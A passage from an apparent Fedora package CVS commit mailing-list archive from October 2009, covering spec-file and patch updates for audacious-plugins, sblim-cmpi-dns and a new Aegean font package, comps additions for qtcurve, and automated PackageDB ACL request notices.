 %prep
-%setup -q -n audacious-plugins-fedora-%{version}
+#setup -q -n audacious-plugins-fedora-%{version}
+%setup -q -n audacious-plugins-fedora-%{version}-beta1
 
-%patch1 -p1 -b .timidity-cfg
 %patch2 -p1 -b .xmms-skindir
-%patch3 -p1 -b .alsa-ng
-%patch4 -p1 -b .underruns
-%patch5 -p1 -b .pulseaudio-volume
-%patch6 -p1 -b .pulseaudio-volume-accuracy
+%patch3 -p1 -b .add-pulseaudio
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -166,11 +159,10 @@ sed -i '\,^.SILENT:,d' buildsys.mk.in
     --enable-neon  \
     \
     --disable-aac  \
-    --disable-ape  \
+    --disable-ffaudio  \
     --disable-mp3  \
     --disable-mms  \
     --disable-tta  \
-    --disable-wma  \
     --disable-libmadtest  \
     \
     --disable-oss  \
@@ -237,6 +229,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 22 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.beta1
+- Upgrade to 2.2-beta1
+- Backport old pulse_audio plugin from Audacious 2.1
+  and patch it to fix volume issues.
+
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-7
 - Patch pulseaudio plugin to not suffer from precision loss when
   calculating the volume level to save.
@@ -248,6 +245,14 @@ rm -rf $RPM_BUILD_ROOT
 - Patch pulseaudio plugin to not get confused by volume values passed
   in via callback.
 
+* Sun Oct 18 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.alpha2
+- Upgrade to 2.2-alpha2 (breaks ALSA output with alsa-plugins-pulseaudio!)
+
+* Sun Sep 20 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.alpha1
+- Upgrade to 2.2-alpha1 (primarly for alsa-gapless output plugin).
+- Removes pulse_audio output plugin!
+- Obsolete patches: timidity-cfg, keep-mixer-open
+
 * Sun Sep 20 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-4
 - Patch alsa-ng plugin with some buffer prefilling to fight underruns.
 - Merge minor changes from 2.2-alpha1 alsa-ng plugin.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	14 Jul 2009 17:24:08 -0000	1.20
+++ sources	22 Oct 2009 15:50:04 -0000	1.21
@@ -1 +1 @@
-199dfef2aa2020f0405d54b67e6540f7  audacious-plugins-fedora-2.1.tar.bz2
+97dff09ad6a5735cb5d42a5e4b26fee6  audacious-plugins-fedora-2.2-beta1.tar.bz2


--- audacious-plugins-1.5.1-timidity-cfg.patch DELETED ---


--- audacious-plugins-2.1-alsa-ng.patch DELETED ---


--- audacious-plugins-2.1-pulseaudio-volume-accuracy.patch DELETED ---


--- audacious-plugins-2.1-pulseaudio-volume.patch DELETED ---


--- audacious-plugins-2.1-underruns.patch DELETED ---



From vcrhonek at fedoraproject.org  Thu Oct 22 15:51:54 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 15:51:54 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/devel sblim-cmpi-dns-0.5.2-include.patch, 1.1, 
	1.2 sblim-cmpi-dns.spec, 1.1, 1.2
Message-ID: <20091022155154.A5E9811C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dns/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16572

Modified Files:
	sblim-cmpi-dns-0.5.2-include.patch sblim-cmpi-dns.spec 
Log Message:
fix include patch

sblim-cmpi-dns-0.5.2-include.patch:
 Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp |    1 +
 support/smt_dns_array.cpp                                 |    3 +++
 2 files changed, 4 insertions(+)

Index: sblim-cmpi-dns-0.5.2-include.patch
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/devel/sblim-cmpi-dns-0.5.2-include.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sblim-cmpi-dns-0.5.2-include.patch	22 Oct 2009 11:37:52 -0000	1.1
+++ sblim-cmpi-dns-0.5.2-include.patch	22 Oct 2009 15:51:53 -0000	1.2
@@ -1,6 +1,17 @@
-diff -up sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
+diff -up sblim-cmpi-dns-0.5.2/provider/Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp_old sblim-cmpi-dns-0.5.2/provider/Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp
+--- sblim-cmpi-dns-0.5.2/provider/Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp_old	2007-08-27 10:18:23.000000000 +0200
++++ sblim-cmpi-dns-0.5.2/provider/Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp	2009-10-22 17:28:38.000000000 +0200
+@@ -25,6 +25,7 @@
+ #include "Linux_DnsMasterZoneResourceAccess.h"
+ 
+ #include <iostream>
++#include <cstdio>
+ 
+ using namespace std;
+ 
+diff -up sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
 --- sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old	2005-10-18 14:13:45.000000000 +0200
-+++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-02-16 16:32:31.000000000 +0100
++++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-10-22 17:27:43.000000000 +0200
 @@ -18,6 +18,9 @@
  #include <string>
  #include <list>


Index: sblim-cmpi-dns.spec
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/devel/sblim-cmpi-dns.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sblim-cmpi-dns.spec	22 Oct 2009 11:37:52 -0000	1.1
+++ sblim-cmpi-dns.spec	22 Oct 2009 15:51:53 -0000	1.2
@@ -3,7 +3,7 @@
 
 Name:           sblim-cmpi-dns
 Version:        0.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        SBLIM WBEM-SMT Dns
 
 Group:          Applications/System
@@ -155,5 +155,8 @@ fi
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Thu Oct 22 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-2
+- Fix "include" patch
+
 * Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
 - Initial support



From ozamosi at fedoraproject.org  Thu Oct 22 15:52:24 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Thu, 22 Oct 2009 15:52:24 +0000 (UTC)
Subject: rpms/gdouros-aegean-fonts/devel
	gdouros-aegean-fonts-fontconfig.conf, 
	NONE, 1.1 gdouros-aegean-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022155224.5E05C11C008C@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/rpms/gdouros-aegean-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16603

Modified Files:
	.cvsignore sources 
Added Files:
	gdouros-aegean-fonts-fontconfig.conf gdouros-aegean-fonts.spec 
Log Message:
First version



--- NEW FILE gdouros-aegean-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Aegean</family>
    </prefer>
  </alias>
  <alias>
    <family>Aegean</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gdouros-aegean-fonts.spec ---
%global fontname gdouros-aegean
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        3.01
Release:        2%{?dist}
Summary:        A font for ancient scripts in the greater Aegean vicinity

Group:          User Interface/X
License:        Copyright only
URL:            http://users.teilar.gr/~g1951d/
Source0:        http://users.teilar.gr/~g1951d/Aegean.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Aegean covers the following scripts and symbols supported by The Unicode
Standard 5.2: Basic Latin, Greek and Coptic, Greek Extended, some Punctuation
and other Symbols, Linear B Syllabary, Linear B Ideograms, Aegean Numbers,
Ancient Greek Numbers, Ancient Symbols, Phaistos Disc, Lycian, Carian, Old
Italic, Ugaritic, Old Persian, Cypriot Syllabary, Phoenician, Lydian, and
Archaic Greek Musical Notation.

Aegean also covers the following scripts and symbols not yet supported by
Unicode: Cretan Hieroglyphs, Cypro-Minoan, Linear A, the Arkalochori Axe,
Ancient Greek and Old Italic variant alphabets. These are allocated in the
Supplementary Private Use Plane 15.

It was created by George Douros.

%prep
%setup -q -c


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p Aegean.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} Aegean.otf

%doc Aegean.txt


%changelog
* Mon Oct 19 2009 Robin Sonefors <ozamosi at flukkost.nu> - 3.01-1
- Fix description, License string
* Thu Oct 15 2009 Robin Sonefors <ozamosi at flukkost.nu> - 3.01-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdouros-aegean-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:49:14 -0000	1.1
+++ .cvsignore	22 Oct 2009 15:52:23 -0000	1.2
@@ -0,0 +1 @@
+Aegean.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdouros-aegean-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:49:14 -0000	1.1
+++ sources	22 Oct 2009 15:52:24 -0000	1.2
@@ -0,0 +1 @@
+36201de0f8a523a3c002bb8619fc9da9  Aegean.zip



From mschwendt at fedoraproject.org  Thu Oct 22 15:55:49 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Thu, 22 Oct 2009 15:55:49 +0000 (UTC)
Subject: rpms/audacious-plugins/devel audacious-plugins.spec,1.54,1.55
Message-ID: <20091022155549.5986711C008C@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17989

Modified Files:
	audacious-plugins.spec 
Log Message:
actually this is a forward port not a backport ;)


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- audacious-plugins.spec	22 Oct 2009 15:50:04 -0000	1.54
+++ audacious-plugins.spec	22 Oct 2009 15:55:49 -0000	1.55
@@ -231,7 +231,7 @@ rm -rf $RPM_BUILD_ROOT
 %changelog
 * Thu Oct 22 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.beta1
 - Upgrade to 2.2-beta1
-- Backport old pulse_audio plugin from Audacious 2.1
+- Port old pulse_audio plugin from Audacious 2.1
   and patch it to fix volume issues.
 
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-7



From rdieter at fedoraproject.org  Thu Oct 22 16:05:33 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 22 Oct 2009 16:05:33 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.284, 1.285 comps-f11.xml.in, 1.315,
	1.316 comps-f12.xml.in, 1.168, 1.169 comps-f13.xml.in, 1.55, 1.56
Message-ID: <20091022160533.35BDF11C008C@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20366

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
+qtcurve-{gtk2,kde4}



Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.284
retrieving revision 1.285
diff -u -p -r1.284 -r1.285
--- comps-f10.xml.in	21 Oct 2009 17:42:20 -0000	1.284
+++ comps-f10.xml.in	22 Oct 2009 16:05:30 -0000	1.285
@@ -2061,6 +2061,7 @@
       <packagereq type="optional">nautilus-sound-converter</packagereq>
       <packagereq type="optional">panelfm</packagereq>
       <packagereq type="optional">pcmanfm</packagereq>
+      <packagereq type="optional">qtcurve-gtk2</packagereq>
       <packagereq type="optional">rss-glx-gnome-screensaver</packagereq>
       <packagereq type="optional">sabayon</packagereq>
       <packagereq type="optional">scim-gtk</packagereq>
@@ -3083,6 +3084,7 @@
       <packagereq type="optional">metamonitor</packagereq>
       <packagereq type="optional">oooqs2</packagereq>
       <packagereq type="optional">polyester</packagereq>
+      <packagereq type="optional">qtcurve-kde4</packagereq>
       <packagereq type="optional">rekall</packagereq>
       <packagereq type="optional">rsibreak</packagereq>
       <packagereq type="optional">rss-glx-kde</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.315
retrieving revision 1.316
diff -u -p -r1.315 -r1.316
--- comps-f11.xml.in	21 Oct 2009 17:42:20 -0000	1.315
+++ comps-f11.xml.in	22 Oct 2009 16:05:31 -0000	1.316
@@ -2428,6 +2428,7 @@
       <packagereq type="optional">pcmanfm</packagereq>
       <packagereq type="optional">preferences-menus</packagereq>
       <packagereq type="optional">pulseaudio-esound-compat</packagereq>
+      <packagereq type="optional">qtcurve-gtk2</packagereq>
       <packagereq type="optional">rss-glx-gnome-screensaver</packagereq>
       <packagereq type="optional">sabayon</packagereq>
       <packagereq type="optional">scim-gtk</packagereq>
@@ -3523,6 +3524,7 @@
       <packagereq type="optional">metamonitor</packagereq>
       <packagereq type="optional">oooqs2</packagereq>
       <packagereq type="optional">polyester</packagereq>
+      <packagereq type="optional">qtcurve-kde4</packagereq>
       <packagereq type="optional">rekall</packagereq>
       <packagereq type="optional">rsibreak</packagereq>
       <packagereq type="optional">rss-glx-kde</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.168
retrieving revision 1.169
diff -u -p -r1.168 -r1.169
--- comps-f12.xml.in	21 Oct 2009 17:42:20 -0000	1.168
+++ comps-f12.xml.in	22 Oct 2009 16:05:31 -0000	1.169
@@ -2620,6 +2620,7 @@
       <packagereq type="optional">pcmanfm</packagereq>
       <packagereq type="optional">preferences-menus</packagereq>
       <packagereq type="optional">pulseaudio-esound-compat</packagereq>
+      <packagereq type="optional">qtcurve-gtk2</packagereq>
       <packagereq type="optional">rss-glx-gnome-screensaver</packagereq>
       <packagereq type="optional">sabayon</packagereq>
       <packagereq type="optional">scim-gtk</packagereq>
@@ -3744,6 +3745,7 @@
       <packagereq type="optional">metamonitor</packagereq>
       <packagereq type="optional">oooqs2</packagereq>
       <packagereq type="optional">polyester</packagereq>
+      <packagereq type="optional">qtcurve-kde4</packagereq>
       <packagereq type="optional">rekall</packagereq>
       <packagereq type="optional">rsibreak</packagereq>
       <packagereq type="optional">rss-glx-kde</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- comps-f13.xml.in	21 Oct 2009 17:42:20 -0000	1.55
+++ comps-f13.xml.in	22 Oct 2009 16:05:32 -0000	1.56
@@ -2617,6 +2617,7 @@
       <packagereq type="optional">pcmanfm</packagereq>
       <packagereq type="optional">preferences-menus</packagereq>
       <packagereq type="optional">pulseaudio-esound-compat</packagereq>
+      <packagereq type="optional">qtcurve-gtk2</packagereq>
       <packagereq type="optional">rss-glx-gnome-screensaver</packagereq>
       <packagereq type="optional">sabayon</packagereq>
       <packagereq type="optional">scim-gtk</packagereq>
@@ -3722,6 +3723,7 @@
       <packagereq type="optional">metamonitor</packagereq>
       <packagereq type="optional">oooqs2</packagereq>
       <packagereq type="optional">polyester</packagereq>
+      <packagereq type="optional">qtcurve-kde4</packagereq>
       <packagereq type="optional">rekall</packagereq>
       <packagereq type="optional">rsibreak</packagereq>
       <packagereq type="optional">rss-glx-kde</packagereq>



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:34 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested approveacls
Message-ID: <20091022161734.74BA910F880@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on qtcurve-kde4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:36 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested commit
Message-ID: <20091022161736.3A10910F891@bastion2.fedora.phx.redhat.com>

rdieter has requested the commit acl on qtcurve-kde4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:38 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested watchcommits
Message-ID: <20091022161738.CF37110F850@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchcommits acl on qtcurve-kde4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:48 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested watchbugzilla
Message-ID: <20091022161748.E6B7310F880@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchbugzilla acl on qtcurve-kde4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:50 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested approveacls
Message-ID: <20091022161750.5D6C310F85F@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on qtcurve-kde4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:51 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested commit
Message-ID: <20091022161751.2934C10F88F@bastion2.fedora.phx.redhat.com>

rdieter has requested the commit acl on qtcurve-kde4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:52 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested watchcommits
Message-ID: <20091022161752.3BF6C10F894@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchcommits acl on qtcurve-kde4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:54 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested watchbugzilla
Message-ID: <20091022161754.D27D910F85A@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchbugzilla acl on qtcurve-kde4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:55 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested approveacls
Message-ID: <20091022161755.EE5B510F89C@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on qtcurve-kde4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:56 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested commit
Message-ID: <20091022161756.9B5B810F885@bastion2.fedora.phx.redhat.com>

rdieter has requested the commit acl on qtcurve-kde4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:57 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested watchcommits
Message-ID: <20091022161757.7D9F210F88F@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchcommits acl on qtcurve-kde4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:17:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:17:58 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested watchbugzilla
Message-ID: <20091022161759.208D510F8AD@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchbugzilla acl on qtcurve-kde4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:00 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested approveacls
Message-ID: <20091022161801.1066710F892@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on qtcurve-kde4 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:01 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested commit
Message-ID: <20091022161801.BD02310F8B0@bastion2.fedora.phx.redhat.com>

rdieter has requested the commit acl on qtcurve-kde4 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:02 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested watchcommits
Message-ID: <20091022161803.09FE910F80D@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchcommits acl on qtcurve-kde4 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:04 +0000
Subject: [pkgdb] qtcurve-kde4: rdieter has requested watchbugzilla
Message-ID: <20091022161804.ADC2010F89C@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchbugzilla acl on qtcurve-kde4 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:09 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested approveacls
Message-ID: <20091022161809.6A9E010F8AB@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on qtcurve-gtk2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:09 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested commit
Message-ID: <20091022161809.E9CBC10F8B4@bastion2.fedora.phx.redhat.com>

rdieter has requested the commit acl on qtcurve-gtk2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:11 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested watchcommits
Message-ID: <20091022161811.4A54010F8AD@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchcommits acl on qtcurve-gtk2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:14 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested approveacls
Message-ID: <20091022161814.5FBEF10F894@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on qtcurve-gtk2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:15 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested commit
Message-ID: <20091022161815.A20F410F8B8@bastion2.fedora.phx.redhat.com>

rdieter has requested the commit acl on qtcurve-gtk2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:15 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested watchcommits
Message-ID: <20091022161816.03C3D10F8BC@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchcommits acl on qtcurve-gtk2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:18 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested watchbugzilla
Message-ID: <20091022161818.5CAF210F85A@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchbugzilla acl on qtcurve-gtk2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:19 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested approveacls
Message-ID: <20091022161819.C6C1510F8BE@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on qtcurve-gtk2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:20 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested commit
Message-ID: <20091022161820.6648310F8C0@bastion2.fedora.phx.redhat.com>

rdieter has requested the commit acl on qtcurve-gtk2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:21 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested watchcommits
Message-ID: <20091022161821.4B19310F8C2@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchcommits acl on qtcurve-gtk2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:22 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested watchbugzilla
Message-ID: <20091022161823.020B410F8C4@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchbugzilla acl on qtcurve-gtk2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
